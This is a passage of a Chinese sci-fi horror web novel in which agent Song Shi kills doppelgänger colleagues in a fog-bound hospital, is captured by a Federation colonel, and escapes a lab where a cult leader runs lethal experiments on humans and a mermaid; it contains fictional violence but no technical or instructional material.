宋拾摇头,“不是我的故事。女孩二十一岁的时候,正式去安防局报到,却被一场突如其来的车祸带走了生命。” “而如今,那个女孩正在我的眼前。” 她抬眸,果不其然,话音刚落,陶顺安身后的怪物便消失了,又是障眼法。 陶顺安的笑容僵在脸上,握拳不自觉收缩握紧,“宋姐是什么意思?” “没什么意思。”吐出一口浊气,宋拾透过头盔屏幕看向陶顺安,浅浅微笑,举起枪瞄准她的心脏:“你打算还要装多久?” 陶顺安干笑了两声,似是不理解:“宋姐,你在说什么呀,我怎么听不懂。” 见她不承认,宋拾歪脑袋,沉默了半晌才道:“我好像知道你保温杯里是什么了。” “红色的,是圣水吧。” 陶顺安身子一僵。 “我听你电话里的人说,你是最成功的实验品,让我猜猜看……你是人造变异生物?” 说实话,宋拾说这段话的时候心里也没底,她只是随便诈诈,但看陶顺安的样子,好像还真被她诈到了。 论坛任务这不就完成了吗? !她简直要起立为自己鼓掌了。 年轻的女孩阴测测开口:“知道的太多,可不是一件好事。” “那可说不定。”宋拾粲然一笑,“我只问一遍,如何离开这里。” 陶顺安摘下头盔,嗤笑,“等死吧,你这辈子也离不开这里。等别人发现的时候,你已经死了。” 宋拾懒得再同她废话,指尖微动,扣动扳机。 “砰”地一声,子弹射中陶顺安的胸口,鲜血飞溅,血窟窿里不断地渗出鲜血,她却笑出了声。 “宋姐好狠心呀,亏我还打算把你放在最后再杀呢。” 陶顺安胸口的窟窿迅速愈合,如果不是被血浸红的衣服,没人能猜到她刚受了枪击。 怎么会这样? 宋拾微压眉头,扣动扳机又射出了几发,在血液飞溅的同时,伤口上的肉芽立刻交织生长。 “没用的,该我了。”陶顺安轻笑。 黑漆漆的枪口对准宋拾的头盔。 “砰——” 第30章 “愿祂收留你的灵魂。” 陶顺安抿唇, 手指扣动扳机。 生死一线,在子弹出膛前秒,宋拾反手扣紧她的手腕, 用力往后一掰。 对方痛呼出声, 握枪的手略微一松。 “砰!”子弹打空。 空出的时间足够了。 宋拾神色一凛,抬膝顶上她腹部,陶顺安闷哼一声,扣动扳机瞄准宋拾又开了一枪。 子弹出膛。 枪口溢着呛鼻的硝烟,陶顺安表情空白一瞬,眼睛被红色模糊视线,她抬手摸上额头,窟窿、黏腻。 怎么会…… 年轻的女孩重心不稳倒下, 像断了线的木偶,在楼梯上骨碌碌滚落下去,融进翻滚的浓雾中。 宋拾单手抽出长靴里的短刀,俯视脚下的台阶, 犹如死神般一步步踏下。 眼前的女孩喘定气息, 狼狈地瘫倒在地,面容被鲜血浸染:“你……是精神师?” 一双靴子走至她身前,冰冷的刀尖撇开黏在脸上的杂乱发丝, 额头的伤口不见踪影, 光洁如初。 “告诉我,怎么离开这里?” 女人蹲下身,短刀被随意地抛起,刀刃反射出令人胆战心惊的凛凛寒光。 “你想知道吗?”陶顺安皱着眉,露出诡异的笑容,“你凑近点,我就告诉你。” 宋拾眨巴眨巴眼:“怎么?你要说情话吗?” “……”陶顺安哽住,原本酝酿的情绪瞬间全无。 宋拾叹气,不说就算了。 银晃晃的刀花一转,银色的刀没入人类脆弱的太阳穴,鲜血汩汩喷溅而出,染红头盔屏幕。 拔出短刀后,她习惯性地朝对方的脖颈处又补上了一刀。 尸体像被太阳炙烤的冰淇淋,融化成一滩恶臭的液体。 这个陶顺安居然也是假的……? ! 可恶,这里究竟什么是真的?只有危险是真的是吧? ! 一种被当狗耍的气愤油然而生,宋拾愤愤地转身走上阶梯,措不及防地看见举枪的白峥。 白峥双手握住枪,深恶痛绝道:“没想到你居然会残害同事。” 她歪头:“你同事是一滩黑泥?” “你这种人,不配待在安防局。”白峥像是没听到般,自顾地说着自己的话,朝她开了一枪。 “砰——”飞出的子弹悬停空中,继而“咣当”垂直落地。 确定了,假的白峥。 卸下心理负担,宋拾视线瞄向他的眉心,手中的短刀跃跃欲试。 小宋飞刀,一发销魂。 “砰——” 不知从何而来的枪响。 眼前的“白峥”不可置信地看着胸口不断冒血的窟窿,两眼翻白倒在地上,身体融化成一滩黑色的液体。 宋拾惊愕,只见站在台阶上的裴木清和白峥。裴木清被子弹打中右臂,被白峥搀扶着,颤抖地托着枪。 两人身上受了不少伤,像是从血池里爬出的厉鬼,头盔大概在某次恶战中弄丢了。 下秒,枪口对准了她的额头。 她脱口而出:“等等!我是真的!” 枪并未放下,裴木清翕动睫毛,嗤笑:“每个人都这么说,你要如何证明?” 如何证明?宋拾大脑空白了半秒。 裴木清说:“三,二,一——” “等下。”白峥出声打断,问宋拾,“老杨是因为什么受伤的?” “安吉尔,在多科市港口。”宋拾回答,不动声色地观察他们。 前车之鉴,眼前的未必是真的。 白峥轻轻颔首,裴木清这才松了口气,双臂再也承受不住枪的重量,无力垂下,“希望别再是假的了。” “发生什么了?”宋拾走上阶梯,捏住刀柄收进袖中。 裴木清向后退了半步,避开接触,轻声道:“我们遇到了很多人,但无一例外,都是假的。” “轻易相信别人是需要付出代价的。”他指了身上血流不止的伤口,顿了顿,继续说,“我见你身上没什么伤,以为你也是假的。” 白峥问:“你有没有遇见陶顺安?” “见到了,不过都是假的。”她歪了歪头,似是无意,“明明也才分开没多久,你们怎么弄得一身伤啊?” 两人脸色微变,白峥拧紧眉头:“没多久?你什么时候和我们分开的?” “就在刚刚。” 又是一段沉默。 白峥嗓音沙哑,“我们已经在这里待了两天了。” 两天? !宋拾瞳孔微缩,他们的时间线不同吗? 裴木清咳嗽了几声,“我们原本打算返回609号病房调查一下,结果起雾了,就迷路了。” 虽然仍有很多疑点,但眼下只能暂时相信对方了。宋拾思索片刻,道:“我还记得路。” …… 斑驳的墙壁上的涂鸦变了样。树下,四个小人互相残杀,红颜料像不要钱般近乎糊满整个墙面。 抵达609号病房,推开门后,本该躺在地上的尸体不翼而飞。 宋拾随意地扫了眼屋内的摆设,除了少具尸体外,并没有任何变化。 “队长,患者的尸体不见了。”她走到那幅油画前,隐约嗅到一股淡淡有血腥气。血腥? 陡然间,微不可查地敲击声透过这面墙穿进宋拾耳膜。 什么东西? 敲击声……似乎有某种节奏。 她装作清嗓子咳嗽,试探性地轻轻叩上墙壁,对面的敲击更加明显了些,这次她听清了。 三短三长三短。 求救信号。 “什么声音?”原本无精打采的裴木清陡然警觉,看向那面墙。 闻言,宋拾大声咳嗽起来,咳得脸涨成猪肝色,“是我。” “有血的味道。”白峥循着气味走到那副油画前,眼神明亮,“这里。” 糟糕。宋拾暗道不妙。 跟着挤到油画前的裴木清目光逐渐迷离,他喉结滚动,“这堵墙背后肯定有东西,我们要打开它吗?” 熟悉的酥麻感爬上宋拾的脊椎,果不其然,下秒耳边是白峥的声音。 “宋拾,你看看这幅画后面有什么?” 有意思,就在自己跟前却偏要叫她。 宋拾应声,垂下眼睫,她捏紧袖中的短刀,指腹摩挲几下。 油画被摘下,透过窟窿,一个血肉模糊的血人出现在三人眼中。 男人躺在杂物上,浑身伤痕累累,没有一块好肉,触目惊心的红肉里露着白骨。 白峥的脸。 他艰难地撑着眼皮,嘴一张一合,却发不出声,宋拾跟着他的唇蠕动嘴唇。 他在说,快逃。 “没想到已经叠代成这样了,的确难以分辨真假啊……”身后的白峥淡淡说了句,将手中的枪递给她,“杀了他吧。” 躺在杂物上的白峥胸口的起伏小了下去,用不了多少,他就会因为失血过多而亡。 “好。” 宋拾举起枪,瞄准洞那头的男人。 “砰——砰——” 两声枪响过后,裴木清和白峥开始融化,化作两滩黑色液体在白瓷地板上缓慢流动。 宋拾吹去枪口溢出的硝烟,真当她傻啊。 隔壁的白峥已经不省人事了,时间紧迫,宋拾将手穿过墙壁窟窿,释放精神术替对方疗伤。 肉芽疯狂肆意生长交织,血肉再生,骨肉重塑,白骨被血肉包裹,新长的皮肤透着粉红。 见白峥的呼吸逐渐趋于平稳,宋拾这才放心下。 就是不知道裴木清现在在哪……宋拾心念一动,论坛应该还能用,看看能不能联系上。 她刚掏出终端,就听见一个气若游丝的声音。 “是……是谁?” 有点耳熟,宋拾蹙眉,仔细辨别声音来源。 “有、有人吗……” 她的视线移到扔在地面的油画上,声音似乎就是从这里传出来的。 宋拾捡起油画,画布上的颜料缓慢移动着,原本裴木清的面孔开始模糊,一张新的脸逐渐清晰。 是她的脸。 “救……”油画里的小声音像是在透支生命。 宋拾试探问:“裴木清?” “是我……” “我是宋拾,你现在在哪?我去找你。” “三号电梯的夹层。” 裴木清说完这句后,便再也没了力气,眼皮沉重得像是灌满了铅,眼前是无尽的漆黑。 流失的不止有血液,还有体温。 他蜷缩成一团,脑袋磕碰到被丢在一旁的头盔,身体疼得战栗。 在黑暗中,人类的听觉敏感度似乎被拉到了极致,他不禁屏息,有东西爬过铁皮正朝他靠近。 “肠……肠子……”怪异的声音。 心脏的跳动吵得他恐慌,裴木清神经紧绷,额头的冷汗混着血液滑落进他的眼眶,酸涩肿胀。 “噗通噗通”泵血的心脏急剧收缩,像被一只手攥住,疼得他呼吸不上来。 “肠子……” 恶臭的口气喷洒在他脸上,裴木清闭紧双目,如坠冰窟,谁能来救救他…… 陡然,一声巨大的爆破声响,刺眼的白光照射进来,裴木清用力撑开眼皮。 逆着光的女人活动脖颈,笑得张扬。 “哟,长得还真和老杨说得一样。” 心脏终于落地,那是一种莫名的信任,相信对方能解决好一切。 疲乏如潮水涌来,裴木清再也撑不住了,宛若压着秤砣的眼皮合上,意识混沌模糊。 宙启的嗓音像是从遥远的地方传来,温柔缥缈,“磁场正常,信号已恢复……” …… 不知是过了多久,一个有力的逼兜重重扇来,裴木清一个激灵清醒,瞪大眼,只见对方扬着手正准备再来一巴掌。 “叫了你好多声都没反应。” 宋拾讪讪缩回手,“既然醒了,那就赶紧起来。” “……好的,宋姐你放心,我不会给你拖后腿的。” 裴木清呲牙一笑,蓦地察觉到身体的变化,他兴奋地伸伸胳膊蹬蹬腿。 “我、我怎么好了?这简直是医学奇迹!” 宋拾重重拍过他的脑袋,“什么医学奇迹,你那点轻伤,在疗养仓还没待够十分钟就痊愈了,睡得倒是死,睡了几个小时,怎么喊都喊不醒。” “啊?”裴木清茫然片刻,他不明所以地看向四周,明亮的的天花板,消毒水的气味,冲他打招呼的病友正炫耀新舌头。 窗外,是人工造影的惬意景色,抽芽的绿,高歌的鸟,清晨的空气吸进鼻子后呼吸道格外清凉。 他目光陡然惊恐,“我怎么还在医院?!我们没出去吗?” “结束了,我们出来了。”宋拾倒了杯热水递过去,“白峥队长醒得比你早,他先回去报告了,我被安排在这里照看你。” “对了,陶顺安失踪了,我们没找到她。” 裴木清被水呛到,不停咳嗽,眼里溢出生理性眼泪,“失踪了?” “叮咚”终端提示铃声响起。 宋拾掏出终端,上面是顾念的消息,对方看起来很着急,甚至打错了几个字。 顾念:不要来安防局,不要回家,联邦已经发现是你了,他们现在在多科市到处搜查你的行踪。 顾念:你的行踪我瞒不了太久,逃,逃的越远越好! 联邦发现她了? 宋拾身体一僵,血液倒流。 她要逃,现在! “宋拾?宋姐?你怎么了?”裴木清不解地望着她,目光清澈。 宋拾回过神,一把攥住他的胳膊,“好兄弟,你有车吗?” 全多科通缉,公共交通是没办法用了。 “有,有的。”裴木清被她急切的样子吓到,吞咽口水,颤颤巍巍从身上搜出一把智能钥匙出来,“就是这个,不过……哎!” “谢啦!” 女人风驰电掣一样飚出去,只留下一道残影和大敞的门。 “咚咚”白皙的手轻轻叩在门上。 一张熟悉的脸出现在他眼前。 “陶顺安?!” “你不是……失踪了吗?” …… 宋拾拿完钥匙开启跑酷模式,一路狂奔到医院的地下车库,像无头苍蝇一样急得团团乱转。 心脏扑腾扑腾乱跳,按动钥匙,快!快点!再快点! 她按了好几下钥匙,始终没有动静。 她好像知道裴木清没说完的内容了…… 啊啊啊啊啊!他们开的是安防局的车来的! 一道红光扫过她的眼珠,宋拾霎时警觉,这附近有狙击手,没想到联邦动作那么快。 她利落地蹲下身体,贴着车走尽量避开那些红点。 宋拾吐息,正释放精神术法隐身时,“卡擦”冰凉的金属扣上她的手腕。 银白色的镣铐。 一双颀长的腿出现在余光中,视线上移,霍尔淡金色的眸子微眯,如捕猎的巨蟒直勾勾地盯紧猎物。 “找到你了,宋拾。” 他前倾凑近,俯视她,银白的长发垂在耳边,打在宋拾鼻尖上,痒痒的。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 30-40 第31章 宋拾无辜举起手,乌黑的眼像块墨,“先生,我做错了什么?是不是有什么误会啊?” 霍尔面色不变, “名字、基因序列完全吻合, 你还有要说的?” 宋拾顿了下,好不黯然神伤:“可是,上校大人,我至今都不明白我究竟犯了什么错,劳烦您亲自抓捕我。您好歹告诉我我的罪状吧?” 她垂眸,手铐的另一端是男人的手腕。 “你……”霍尔顿了下, 才道:“劫持义肢协会主席。” 宋拾瞠目结舌, “这难道不是莫须有的罪名吗!一定有什么误会!” 话虽如此,但她心里门清,哪有什么误会,联邦想要她死,那她只要多活一天就是罪过。 霍尔按下她躁动的肩膀,蛰伏巨蟒似的金眸一眨不眨, “你为什么会变成……成年人的模样,是精神术?” 看来,在霍尔印象里她的形象还是个孩子, 怪不得有闲心同她周旋。 大脑飞速运转, 宋拾茫然低头,伤感道: “先生,有一堆人追杀我们,是义肢协会主席帮我逃跑。他们想要杀死我,我不停释放精神术,直到昏迷, 醒来就这个样子了。” 她顿了顿,补上一句,“假装大人很难的……好在被顾念姐姐收留,说安防局缺人,不然我可能已经饿死了吧。” 她知道自己的话漏洞百出,但能怎么办?拖一会是一会。 霍尔陷入沉默。 红点从眼前一晃而过,照到宋拾额头,她眼皮一跳。 不是都抓到她了吗?狙击手怎么还没撤? 几乎顷刻,身体的下意识反应先于大脑判断,宋拾猛然扑下,直挺挺地将霍尔掼到在地。 淡淡的血腥萦绕他鼻尖,眼眸里女人的面庞骤然扩大,润如黑玉般的瞳孔微缩,倒映着他的面容。 不知为何,霍尔心脏漏了半拍。 “咚!”子弹击穿身后的车身。 下颌重重磕在霍尔的上唇瓣,铁锈味试探上他的舌尖。 “你不是都抓到我了吗!”宋拾怒视。 视线中,青年殷红的唇瓣滚落血珠,银发铺满身侧,睁着无措的金眸,“……不是我。” 她挣扎起身,牵动霍尔扣在腕上的镣铐。 身上骤然一轻,霍尔蹙眉,顺着她动作坐起,“你受伤了?” “啊?”宋拾不明所以,大脑卡顿了下。 “你身上有股血腥。”银发垂在青年脸侧,他长眉轻蹙。 不愧是正直的上校,明明都要给她一枪爆头,还要假意惺惺问候一下她是不是受伤了。 “哦,你说这个啊,出任务的时候受伤的,不过这都是小事。”宋拾若无其事,语调却有些讥讽,“大人您能把狙击手撤了吗?” “我没有安排狙击手。”霍尔的眉拧得更紧。 那开枪的是谁? ! 回溯还是哀涅托?又或者是联邦的其它势力? 杂七杂八的东西尽数堆积在脑袋里,但很可惜,她并未搜刮到有用的信息。 余光中,安防员制服裤停在他们身前,宋拾视线顺着上移,是一道熟悉的身影。 即便女人佩戴防毒面罩,宋拾依旧一眼认出——陶顺安。 大片黄色的雾气飘散在整个停车场。 “你……” 鼻尖充盈着一股化学制品的气味,宋拾浑身的力气尽数泄去,连手指都抬不起一下。 霍尔同样站不起身,他急促呼吸,金眸微眯,“你是谁?” “哟,意外之喜,没想到居然是联邦的上校大人。”陶顺安俯身下来,目光从霍尔转到宋拾身上,“我还以为你会很惊讶。” 药效发作很快,宋拾耸拉着沉重的眼皮,耳边陶顺安的声音不甚清晰,她难以辨别对方说的内容。 不行不行,清醒一点! 她试图睁大些眼睛,但脑袋像是被浓稠的浆糊糊住,又像是被塞入一个真空的环境。 浑浑噩噩中,隐约听见一句:“算你走运。” 算了。宋拾有些释然,拼死拼活不停地死里求生,好像……真的蛮累的。 但愿宇宙再次孕育她时,她不用再担心哪一天会死…… 好累。 她听见自己似乎在叹息。 意识被巨浪打翻,被海水侵吞,缓慢下沉。 …… 冰冷的仪器“滴滴”声,宋拾蜷缩成一团,像回归母亲温暖的子宫里,羊水温柔地抚过她每个部位。 宋拾,醒醒…… 醒醒…… 再不醒,就会沦为赛博人的实验小白鼠! 爹的,好恐怖! 紧闭的眼皮骤然撑起,一声急切的声音在耳边炸响。 “怎么醒了?!注射麻药!” 一闪而过的亮光刺得宋拾眼疼,待她反应过来,发现那并不是手术灯,而是医生光洁锃亮的头顶。 刺痛穿透皮肤,宋拾猛地诈尸坐起身,尖锐的针尖在她皮肤上划道血痕出来。 她弹跳起身,猛地踹上秃头医生的太阳穴上,伴随着一道清脆的骨裂声,医生重重倒在地板上,当场死亡,眼珠瞪得老大。 另外一名医生惊恐地连滚带爬,右手急忙重重砸在警报装置上,“呼叫,呼叫,实验体醒了,杀人了!” 在他的视线下,收紧的裤腿尽数收进长靴中。他瞳孔骤然一缩,蚀骨般的恐惧爬上脖颈。 女人俯身蹲下,“这里是哪?” “永、永生实验室……放放过我吧!”他话音刚落,裹挟着气流的拳头砸来。 收拾完医生,门外顿时响起匆忙的脚步声,朝着这里靠近。 宋拾目光一凛,转到上方的监控上。 “咚!”门被破开,巡防队举着枪械,警惕扫视。 手术室内两位医生的死状惨不忍睹,五个监控皆被破坏,实验体却不见踪迹。 不见踪迹的宋拾,有惊无险地为自己捏了把汗,她隐着身,蹑手蹑脚地走出了手术室。 刚一出门,便与堵在一侧安防机器人面对面。机器人似察觉到什么,抬起铁皮脑袋,凝视眼前的空气。 她屏息僵在原地,不敢发出半点动静,灵魂却发出直逼灵魂的海豚音。 宋拾只试过一次隐身,她还没自信到认为自己能躲过安防系统。 果不其然,安防机器人机械眼珠闪烁红光,报警:“发现异常!发现异常!” “什么人?!”巡防队警觉转身。 宋拾顾不上那么多了,踩着风火轮一样拔腿就跑。 身后,安防机器人负责定位,巡防队负责穷追不舍,而她负责逃命。 他们都有美好的未来。 她像只窜天猴,风骚走位,身姿忽上忽下,几个腾挪下来,机器人被她绕晕,红色扫描光不停地闪烁。 好机会。 宋拾一路加速狂飚,在长廊的拐角处漂移般,差点与前面的巡逻队相撞。 这批巡逻队牵着几条大型犬,它们垂着尾巴,梗着脖子朝前面一顿乱吠。 怎么还有啊? ! 短暂悲伤过后,她感觉有些好笑,笑命运,笑自己像只吗喽。 如果去看牙,医生一定会问牙齿磨损得怎么那么严重,她会含泪告诉对方,这些年都是咬着牙过来的。够了,好冷的笑话。 很快,那点矫情的伤春哀秋在逃亡中消失得一干二净。 耳边是匆乱的脚步,刚才追她的那队巡防快来了。 怎么办怎么办! 宋拾逼迫自己冷静下来,天无绝人之路,总会有办法的。 她推了推离她最近房间的门,很好,没有上锁。 “快追!就在前面!”脚步愈发靠近。 推开门,一头钻了进去,待脚步声和犬吠离远,宋拾才长舒口气,但一转头眼前的画面让她目瞪口呆。 怎么说呢……有点擦边…… 男人的四肢被铁链拴在墙壁上,白衬衫被水浸湿,勾勒出令人血脉喷张的肌肉,宽肩窄腰。 下颌的水珠滚落,从脖颈滑落进锁骨。 有种圣洁的神明被玷污的美感。 宋拾一时看愣住了。 这湿身//诱惑,这捆绑play ,要是绑到街上去讨饭,应该能赚很多钱吧…… “什么人?” 原本昏沉的霍尔陡然抬头,似察觉到什么,金眸精准地看向宋拾所在的位置。 本应具有威慑力的表情,在此情此景下,倒像是某种情趣。 宋拾默默移开目光,把耳朵贴在房门上,确定外面没人了,小心翼翼地推开一条门缝。 铁链哗啦的声响,接着传来霍尔喑哑的嗓音:“是谁?” 宋拾没出声,半个身子已经探出了房门。 她还没那么乐于助人,现在自己都是泥菩萨过河,自身难保,况且她相信伟大的联邦上校会自有办法的! “别走!”铁链的动静更大了,霍尔挣扎着,束缚在四肢上的锁链逐渐缩紧,他一时没控制住,唇齿间溢出吟哦。 闻声,宋拾可就精神了,跨出的半个身子又退了回来,轻轻合上门。 胆从心中起恶向胆边生,走到霍尔身旁,仔细打量。 青年因自己发出了奇怪的声音,耳尖微微冒红,垂着长睫,一动不动,唇瓣上的伤口已经结痂。 她就是说!这丢出去讨饭都赚钱! 他金眸陡然对上宋拾的眼,吓得她以为他能看见她了。 霍尔目光不退不让,“看够了吗?你的精神术法似乎失效了,宋——拾。” 失效了! ?宋拾惊恐后撤步。 第32章 男人睫毛上挂着水滴,静静看着她,“帮我。” 宋拾歪脑袋,露出真诚的笑容:“帮你好把我抓起来吗?亏本买卖我可不干,您还是等着联邦军来——” “我可以帮你换个身份在联邦生活。” 霍尔神色未变,接着说:“没有我的帮助,即便你逃离这里,也无法在联邦里获得安稳生活。你帮我解开枷锁,我帮你逃过联邦的追捕,怎么样?” 出乎意料的话让宋拾大脑有些卡壳,她狐疑地看着眼前的男人, “我凭什么相信你?” “我……” “快!可能就在这附近!”门外陡然响起嘈杂的声响。 宋拾心脏猛地一沉,扫视了一下室内,眼前蓦地一亮。墙壁上方装着排风口,她目测了下,可以爬进去。 铁链哗啦啦作响,宋拾回过头: 男人的手上、腿上皆被冰冷的锁链捆绑,狼狈又色气,但坚毅的面庞又让人觉得多看一眼便是亵渎。 锁链不断收紧,霍尔眸子注视着她,呼吸有些不稳, “抱歉,我找不到能让你信任我的理由……” “算了,我帮你。” 霍尔惊愕,“……谢谢。” 宋拾目光掠过束缚在他身上的锁链,“但我不确定能不能帮你弄开哈。” 她的手攀上沉重的锁链,试探性地扯了扯,果不其然, 链条急剧收缩。 霍尔闷哼一声,金眸淡淡:“没事。” 宋拾蹙眉,她的视线下移,定在霍尔西裤上,大腿的位置微微鼓起,似乎有什么东西。 难不成是机关?她伸手戳了下,伴随着清脆的“咔嚓”,霍尔的呼吸声陡然急促起来。 男人像煮熟了的虾,白皙的皮肤迅速涨红,他咬着牙,“你在做什么?” “啊,抱歉,我以为是机关什么的。”宋拾无辜脸,“但这不能怪我,我又不知道是什么东西。” “……”霍尔稳住呼吸,睫毛颤抖着,移开视线,“以后不要随便乱按。” 宋拾老老实实地没再乱碰,但几番折腾下来,锁链愈发地紧。 果断切换思路,一切困难都是源于火力不够猛。 她退后两步。 沉重的锁链砸落在地,哗啦啦的声响从房间内传来。 “咣当!”巡防队破开门。 铁链歪七扭八横躺在地面上,本该被绑着的人却不见踪影。 为首的人点开通讯,“圣子,霍尔和新到的实验体逃了。” …… 通风管道。 两人一前一后,缓慢地朝前爬着。 “上校,你要说到做到哦。”宋拾压低嗓音,不放心地反复叮嘱,“出去后给我换个新身份。” “好。”霍尔颔首。 “其实我很好奇,联邦为什么要抓我。”宋拾试探开口道。 霍尔顿了顿,道:“抱歉,恕我不能回答。” 意料之中的回答,宋拾便也不再开口。 不知是爬了多久,道道明亮的光线透过通风窗照进来。 她蓦地停下行动,手指抵住唇示意身后的霍尔。 小心翼翼地挪动到窗口前。 这是一间巨大的实验室。 摆满大小不一的营养罐,罐里装满了奇异的物种,有些的甚至能隐约看出人形。 每个罐子上都贴注着标签,“张乐恭,实验体4071”“凯文,实验体4072”…… 宋拾讽刺笑道:“你们联邦真有意思,有时间来抓我,却没时间管管真正该管的。” “什么?” 霍尔不解,跟着挪了过来,当他目光触及那些实验体,眼眸陡然凌厉起来,“该死。” 宋拾看向放置在中心的巨大玻璃缸。 浑浊的液体,浑身残败不堪的人鱼卷缩着身体,苍白的脸贴在玻璃上。 她瞳孔一缩。 标签上写着:“裴羽流,实验体4077” 。 是真的裴羽流? 宋拾大脑运转起来,一切已知的线索逐渐汇聚。 差点被绑走的女孩是,那些莫名其妙失踪的人是,裴羽流也是。 先是失踪,再是被仿生人替换掉。 这是一场悄无声息的狸猫换太子的大戏。 在别人眼里,那些失踪的人都陆陆续续回了家,生活恢复如初,没人会注意到朝夕相处的亲人已经被替换掉了。 就像假裴羽流仍在医院里勤勤恳恳工作,根本让人看不出半分端倪。 女人下半身被纯白色鳞片覆盖,长长的鱼尾无力地搭垂在玻璃缸外。 她似乎受伤了,暗红色的液体很快便被污浊的水稀释掉。 宋拾轻轻叹息,她救不了他。 她正要别开目光时,一道熟悉的身影跃入视线里:付秋棠。 她套上医用手套,冲门外颔首。 付秋棠怎么会在这里? 霍尔浅金色的眸子微沉。 五个身穿防护服的人踏进实验室,他们推着推车,上面摆满各式各样的仪器,其中一台推车被白布遮得严严实实。 付秋棠深深吐出一口气,伸手扯开白布,那是一个巨大的玻璃瓶,玻璃瓶并不是重点,而是里面不停扭动的红肉。 它像是活的,兴奋地运动着。 宋拾鸡皮疙瘩爬满全身,这恐怕便是付秋棠提到的“活肉”吧。 伊索纳德号上运的东西原来长这样。 她的注意力全然放在那块肉上面,并未注意到霍尔的脸色愈发沉。 “仪器。”付秋棠竭力让自己显得镇定自若。 一个怪异的仪器便被其他实验人员呈了上来,他们将仪器与装着“活肉”的玻璃瓶连接安装好。 “付教授,安装完毕。” 付秋棠点头,“开始吧。” 仪器启动,活肉像是遭受殴打,奋力地扑腾着,犹如搁浅的鱼,在浅浅的水洼内垂死挣扎。 鲜红的液体源源不断地从肉块里渗出,顺着狭小的导管流淌进烧杯内。 实验人员关掉仪器,肉块安静下来,一动也不动。 “付教授,圣水准备完毕。” 这一切的幕后黑手都是哀涅托。 宋拾抬舌抵住上颚,思绪稍稍冷静下来,她提起精神,继续观察。 “教授,这次的实验体,选哪个?”助手老老实实立在一旁。 “嗯……”付秋棠抿唇,表面的冷静的,内心是崩溃的,这种问题不要问她啊啊啊啊! 她清了清嗓子,问助手,“你觉得呢?” “4077吧。” 嗓音犹如跳动的音符,传进在场每位人的耳朵里。 圣子赤足,身披白袍,柔软的蓝发上半披着金纱,遮住半张脸,垂着目,似怜悯,又似柔情。 蓝色的卷发随着他的步子,如月色下流动的潮水。 “圣子。”实验室的人员整齐划一垂首,不敢与之对视。 伽蓝颔首,淡漠的蓝眸看向付秋棠,慢条斯理道:“我觉得4077就可以,付教授呢?” 付秋棠只觉毛骨悚然,她梗着脖颈,僵硬地点头,“好。” 4077,也就是裴羽流。 人鱼被大网捞出鱼缸,狼狈地趴倒在水泽上,右手肘撑着地面,左手堪堪捂住渗血的腹部。 “我……我已经……替你们做了那么多事情了……为什么……” 她血红的瞳孔警惕地幻视周围的人,但目光在触及到伽蓝时,如同触电般收回视线,瑟缩地往后退。 “也许是你做的还不够。”伽蓝浅浅一笑,但仅仅只是昙花一现,“付教授,可以开始了。” 付秋棠没有动,试图商量:“或许可以用变异物种来试试……嗯,我是说,每个实验体都是爆体而亡,神,祂应该也不愿意看到自己的信徒死亡吧……” 伽蓝不解地看过去,蓝色的眼眸比新生儿的眼珠还要纯净,“为什么会这么说?死亡是因为他们不够虔诚,只要足够虔诚,神会赐下永生。” 他垂目,怜悯地望向裴羽流,“况且,死亡并不意味着就是件坏事,它也代表了解脱,不是吗?” 付秋棠咬牙听完对方阐述的歪理,只能硬着头皮拿起空针,吸满红色的液体后,她缓慢地走向不断后退的人鱼。 “不……”随着人鱼大幅度的动作,腹部伤口的鲜血止不住地流,她的脸色愈发苍白。 对不起对不起…… 付秋棠深吸一口气,憋住涌上来是眼泪。 为什么一定要杀人? 这里不是游戏,这里的每个人都是活生生的人,他们有家人,有朋友,会哭会笑,和她世界里的人都是一样的。 付秋棠的视线逐渐被泪水模糊。 人鱼呲着锋锐的尖牙,试图吓退她,但当对方的泪珠滚落到她胳膊上时,她像是被火烫到,猛地往后一缩。 她目光有些茫然。 喉咙里溢出模糊不清的话语,像是艰难挤出来的,“不、不要……别……哭……” 付秋棠决绝地闭上眼睛,锋利的针尖闪烁着寒光,猛地向下扎去。 她溢出的泪水抑制不住地淌满整张脸。 做不到,还是做不到! 针尖毅然决然地刺向她自己的手臂。 爸爸妈妈,我要回家了。 “砰!”一声巨响,硬生生止住了下降的针。 付秋棠茫然回过头,那是道陌生的身影,女人剪着齐耳的短发,单薄消瘦的身体站得笔直。 她恍惚看见,女人好像冲她眨了眨眼。 宋拾蹙眉,看向跟着蹦下来的霍尔,“你怎么也下来了?” “我是一名军人。”霍尔淡金的眸子看向她,理所当然的语气。 第33章 在四十一世纪, 残酷的现实告诉宋拾不该装的逼不要装。 架是五分钟前打的,人是五分钟后被制服的。 地面铺满碎玻璃与液体,在一片狼藉中,几个神使合力将两位反抗者押住。 胳膊被按得咯噔作响,痛得宋拾直呼冷气,她咬牙怒视伽蓝,挣扎半天仍动弹不得。 伽蓝赤着足缓步走来,他漫不经心倾下身,蓝发垂落在脸颊旁,“你这是在……愤怒?” “……”多稀罕呐。 他修长的手指抬起她的下巴,对上那双不耐烦的眼睛,道:“人类总会被情绪所牵制,愤怒,是否可以理解为人类某种无能的表现?” 她觉得荒唐至极,撇开脸,不去看他。 他却陡然松开手, 垂眸道:“被同伴背叛你也会愤怒吗?” “什么?”宋拾不解。 伽蓝轻轻抚过她的衣领, 快速抽离,掌心摊开,是一枚精致小巧的定位器。 宋拾毛骨悚然, 不可置信地看向霍尔:“你……” 霍尔乌青的嘴角沾着血迹,即便被人狼狈的押着,腰背依旧挺得笔直。 闻言,他脸色一变,金色的眼眸闪烁了下,薄唇微张,却没有出声, 算是默认。 “你什么时候放在我身上的?”宋拾话音冰冷,诘问道。 “打架的时候。” 回答她的是伽蓝,他手指碾碎定位器,眼神悲悯却又好像带了点别的东西。 宋拾垂下脑袋,很好,她的人生准则又多了一条:不该救的别救,不然会被狗咬。 “实验继续。”伽蓝淡淡开口,但视线却仍放在宋拾身上。 宋拾心脏咯噔一声。 果不其然,伽蓝接着说道:“小姐,愿神能赐给你好运。”说罢,他手抬示意。 宋拾顺着望去,实验人员晃动针管针,鲜红的液体浓稠至极。 她吞咽口水,额头沁出些汗水。 危险的警告在脑海里狂轰乱炸,宋拾努力稳住呼吸,反复安慰自己天无绝人之路,总会有办法的。 终于,她想到什么,将目光投向吓愣住的付秋棠,嘴巴无声地张了张。 付秋棠回过神来,瞪圆了眼试图理解宋拾的意思。 好在她似乎终于理解了对方的口型,但并不能理解对方形态上发生的变化,于是眼睛又瞪得更圆了些。 眼看着实验人员逼近,宋拾眼角一阵抽搐。 她知道付秋棠有很多疑惑,但先别疑惑,因为她马上就要死了! “圣子。” 